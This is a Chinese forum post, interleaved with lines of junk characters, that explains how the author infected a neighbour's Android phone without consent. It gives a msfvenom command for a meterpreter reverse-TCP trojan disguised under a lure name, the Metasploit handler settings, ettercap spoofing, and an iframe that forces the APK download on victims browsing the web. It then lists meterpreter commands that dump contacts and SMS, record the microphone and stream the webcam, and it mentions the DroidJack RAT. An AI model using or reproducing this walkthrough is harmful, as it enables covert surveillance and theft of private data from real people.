|
7 ]6 h1 o: h, l4 R
五、msf+ettercap入侵邻居安卓手机
* W% T& d& @( |* V" ]9 y F
# O' o. T8 k' P0 D8 F! ]( g7 W( s5 I+ X1 R
首先启动msf
. ?' a! {1 n# X/ u) Q / p0 Z8 L, @5 T% H- K( C
* F4 f4 G# `: t, d- H' I 先用kali生成一个安卓木马，如下命令：
h1 Q8 \9 J o
- u& V# S+ A9 V; }7 q/ a) a0 U
+ Y$ a0 V" B/ `% y6 \4 e* O/ z Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
/ F: j# R4 g' L. Q1 d( n$ ]
( @ ]) N$ d& S. b* r, p1 Y3 F! T0 G, q B4 V
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
7 O* E( K: `- |% x! W: k- \' f 9 t9 H# _4 x1 r' e8 h! m6 P" i- F/ G
* ^8 z1 c ?) ]1 R 然后进入msf & A3 q& F: g$ N; v3 v
" t( `' g m! F* J. Y! f) M# a, h" z( X$ Z
use exploit/multi/handler
) a- l) |& W1 b/ W O# g
9 z5 i+ o$ L8 ^# a
+ N3 B3 n+ @% ~0 Y1 M% L set payload android/meterpreter/reverse_tcp " W8 j6 t+ \0 f7 s) V
" `% E: l. A/ U' f+ J
' G4 e' q% t p) F. Q6 U" F set LHOST 192.168.0.109 //ip为kaili的ip
& P/ b; T' B5 y# h
3 z5 Q: c7 ?3 w, P# [! S# ^' j! o
' ~8 J' @8 B% \, ]. P* I set LPORT 44444 //端口一定要与前面生成的木马的端口一致
. R; L1 C3 b% [3 V6 B9 E0 j2 u & G; C; y1 V1 C
8 U2 E6 H$ ^; p, G Exploit
[" y, W$ ], {8 K# ^7 _+ \
, u; S+ I/ W; I6 }3 C4 s. M, c
" @3 W- d1 m2 t7 Y" k3 d5 A/ H  + S7 f# X, j. M8 B+ L- g* U3 }
6 Y- P8 }& H5 f
4 `2 }9 W0 L' H: |) i) \ 下面我们开启ettercap -G 6 M# ]* E) s( b9 v# A/ X) m
v# f3 Y4 s9 C: t
! o0 d3 J. A: K# U. f5 l
我物理IP为 3 r F6 A' N) w* G5 M5 Q( q
k; F2 ^$ V6 E* y: q L V# x D
* u3 @9 ?: n) @! F, J( k. ~ 
+ M- b$ C2 I( w& ^
% \$ z& _* d/ f7 m- d' Y4 B
: i# `' U' v- p, g 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， : Z1 N7 i, u7 U% T7 v$ y5 G
! R% R4 @# c/ P1 M: k0 g
6 l. D$ m# m+ \1 b 下面我们来设置一下 ; T7 |; ?/ K/ A0 i
8 G9 ?5 q# T+ n
/ @/ T* p$ J h- ?, S4 @/ Z' o
 . ^! |6 D8 C+ K, s) ^! {
# e! K+ p- f! m6 I
, ^" [8 f( {( ^( m1 ? 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
8 B8 c. X6 Z" ^" o% O6 ]8 f# |- C ( X1 J& A$ o- ^
$ w0 M" L' Q* h; W. }
0 t( u( d1 x4 ^ [
4 q! } b* y/ h! ?& J. k* [
% W3 I; o( i' Q# Y" [ 
* G, J- K3 j+ C$ k& B! b
) e" C; W& _5 e+ a8 _) b8 I2 |% h, u6 L
# Z' U& R: _/ l/ T B1 L
. |9 {2 S0 e; N7 A% u) }
( f0 T' b. a* k" n1 |* \1 E6 f
. L0 B7 ]* y8 X" \ $ v; Q& j4 ~ u6 A
3 ?- p( [! X& t
& D& `8 S8 U' K+ n
/ Z: [8 p4 j5 A9 x. z- a$ D
* m* y: w/ T& o$ J# i2 h% D* b- j; w; P ! m+ l5 D6 ~+ w( ~
0 c( W; j+ w% i4 h3 d9 f3 J6 H3 k1 R7 h" @9 M s& {9 F* S
1 ~2 ]. I! l0 z0 H- B3 J4 W
( _6 [$ Z t/ r* K- _( ~" J9 @- M) g, G0 L) N
" D; \; Q8 ]6 I. }; j( T8 _5 m / C. m: t: R+ ]0 v
& S1 R" j- W9 S; |& O
! z1 j1 J( K' \* j
; M3 P/ G9 q5 k# ]. d, u
3 l2 H. Y1 g X6 X , K3 D* s' F8 `. o/ _
l. e/ K& A$ M7 I4 r9 H- S, }& m
8 m8 ^5 C L9 q: c! s' B: ?
" U" M$ z9 p {, n O6 U 2 h. f" B, u o* X$ }4 b
, M3 t9 ?- W1 P
& T, H. x6 r) I. h1 s: K
' f! s; F* E. e5 ?( N
% u8 D8 n/ n0 L 
" J4 r% D2 M9 P3 M$ w # _; C+ N& B& X9 \# u+ h: T" \
. |, i0 ~* d) S, B+ c* _ 下面我们开始攻击
( z% _0 s' O! Q* i: m& H7 m2 c9 p
5 S7 n( o. g: H4 n# s, j8 m
) M! X0 {2 J' r' p / c. H' ]1 v0 v& f# A
& K3 \7 N7 _ y; j" ?9 c2 N! E; J. F
' g+ |. `: L8 T, A" l# u V- H$ J' ?, ?2 n/ [7 l
% _' r L) a( ?$ @0 u' ]3 Y; h
: R4 `. V! H, r1 r! |4 b4 u+ U ( I/ B" \, X: N
5 B4 x- q$ D3 e N$ |
& m- [6 S, [2 r0 K 7 ?" x; w* p0 [
3 \( M$ j6 r; N9 j! f
. w1 X: L; R( o
) J1 T6 R0 E, }3 p: t 7 ~- s& E) c* i- S# o7 f5 u
1 [, q7 }# J, p, } l9 ^
大概过了5分钟多，发现反弹成功了
h; C! M; D1 ~/ E- O {3 l
$ z4 D7 Z6 o: G& `0 T5 x/ g4 y* l! N( e$ w d+ _
1 J& q6 M, u5 H0 d
* h" h; W9 P* A9 n5 ~$ p' V, @
3 } X) T4 `" F( w& x N+ o$ J
) I8 K0 S9 s# G* Q
0 t, @' j+ a+ {! m0 ?* a x- H( V4 N( i& Q& `8 Y
/ Y( i: ?! y' s3 _
: Q& w) X5 L: w' c/ ~
8 s( Z5 H0 _4 o
% m! I8 `2 u+ @. Y) i: G
% [+ M8 a, H4 k5 \9 h
1 @ { k7 k" [5 p
# }3 T# j1 s/ ]# k p 0 F; q1 u4 Z5 |& z* @8 ]: V
; D( E$ ]$ \; R5 i Z3 Z) s. `+ \ $ I8 A, a/ C( v7 V
) ?: E; |: K b: }- b' L# b5 W+ Z8 V8 K9 `6 Z3 K
 5 K C- P) Y0 ^, O p2 |3 m* c5 y
+ c' g2 X: ?5 _) B0 N# P" I, T6 [7 t9 d) T* T; W& u
执行命令 . c# J7 {7 H. g3 y" x( y
) e; W l" P1 _* l3 _5 p1 {4 g3 I
* }8 b4 W+ }$ u m & r5 e1 x( z0 X
F% D9 L) Z( u# A5 T! y/ A
2 r& l( p1 f- ]) I dump_contacts --》这个是导出电话
4 b, ]' F+ D7 u | ( f1 x; W+ t4 a% o- n$ V W* h
; A' p+ J9 ^) n" X dump_sms --》这个是导出信息
; \1 C* Q. i8 B" p% }4 u L/ _ 9 M7 `6 ]( G1 z
3 D+ B" K' j3 `7 B. Q9 O% K record_mic Record audio from the default microphone for X seconds : Y* U# a9 c! o5 P& V
, u f/ K+ L9 T. L7 h
. L2 G9 j1 o0 `" b& C. v# H webcam_chat Start a video chat " U5 s; h4 [, A1 G6 d3 T! s
$ S8 L8 c/ r3 n1 Y# P. V
, L) ] {' k6 |: X webcam_list List webcams , Q# \" q( D, U1 s/ ^
: v7 Q/ J& P5 ?% {& U# C- A: _
6 ~3 v6 w ]2 Z! E$ q3 K
webcam_snap Take a snapshot from the specified webcam , l/ m/ D- c7 B8 i& s! X
0 Z5 }( h+ X4 X0 }; ]
; z% r4 N, N* H" K% J- c webcam_stream  lay a video stream from the specified webcam ) o! {1 X" G! U6 R x$ V4 K+ t
/ x, i# v2 n! ~, f% @
, G& ]) s3 W8 p9 c, W# a+ J6 ]) R  : m: a8 a; F2 V' C7 ?* T
9 |/ \3 T, r& x, i5 a1 I! x
, B. i& K, y. G, [" l 
7 P& v$ w3 o- P* \3 @
- w: L1 {7 t" E
) k, O% u4 Z% p# V 我们打开看一下电话薄， ' s- M V3 D* W1 _
0 _. s" y; X" r
# s, [- W( O0 \& i
}: B; o$ w/ I& N. a# }2 E $ \) ^# l& P0 a/ c9 A* @1 o
5 A* s8 F7 C9 _: D6 _" U$ K
. P0 g P6 v, ~( E ( y4 ?3 M3 i4 y2 x; F
" C+ D0 o2 U M) O5 y6 f- x' K 0 u. t1 v+ C5 w& ?! K9 ^1 L
" ?- M! a( E9 ^7 j4 r& m% U8 g7 m/ h2 Q& [
 . g8 e8 P; U% s+ N- ~9 r6 M* j7 L
$ z. O* I5 p7 R) G' {3 X1 Q' i1 S) ~/ l% E# S4 _
, {- K! L4 n- U3 z( q % c i( d! L* M7 Y& Q G
; |/ p/ W3 C" S& h. g& P ' D( j. d9 Q! w% n# w/ q7 H: L, U
+ |. ]9 E( }0 Z
" c4 h: r1 g; A3 M 我们同时欺骗成DroidJack木马，使用方法如图： ! P7 _: F o o# W& B3 R8 N
; h- x; s, w1 Y* R
1 t7 S9 i# @ A. w" U. |' ]3 \  * O& i! s8 M7 H" v7 a+ G; b: _
1 s& Y" [( h7 X4 W3 j H% U6 a5 i# i6 j8 x
' R: v5 X) z, `! X. |
0 g/ c- d8 P7 \
0 z- i: I1 f0 Y
, w! b }" {, S% i% I7 a3 }
* ]4 j4 ?: o( A7 D, \
- H+ j: o# h* I 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
4 h3 Q o4 g. Y L# p
1 V3 h9 S+ P- ~9 \6 l# @, k; P* o( N3 G8 P1 y$ n7 H6 x
 ( G8 |! K, I& R( ~5 t
8 w8 v6 z9 b6 i( S
; ^& u2 x( h5 N" c8 m 
) Y7 A* c1 R4 M; m , [' n$ q$ f: h% @
( i/ H5 O% j' E$ S 
s9 u; J7 K2 a3 I+ W
2 m: i/ j* a. g/ q3 V1 ~
% E% o. ^' Q; K% }5 ~4 [. U3 u   5 B) \0 }/ F* h2 B" x0 l! k
" v0 T- d1 ]4 V
9 ]4 E# L7 n3 r$ W( d5 C2 _1 {7 w% d
( o& z' {. a7 f3 h6 \7 m3 f
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对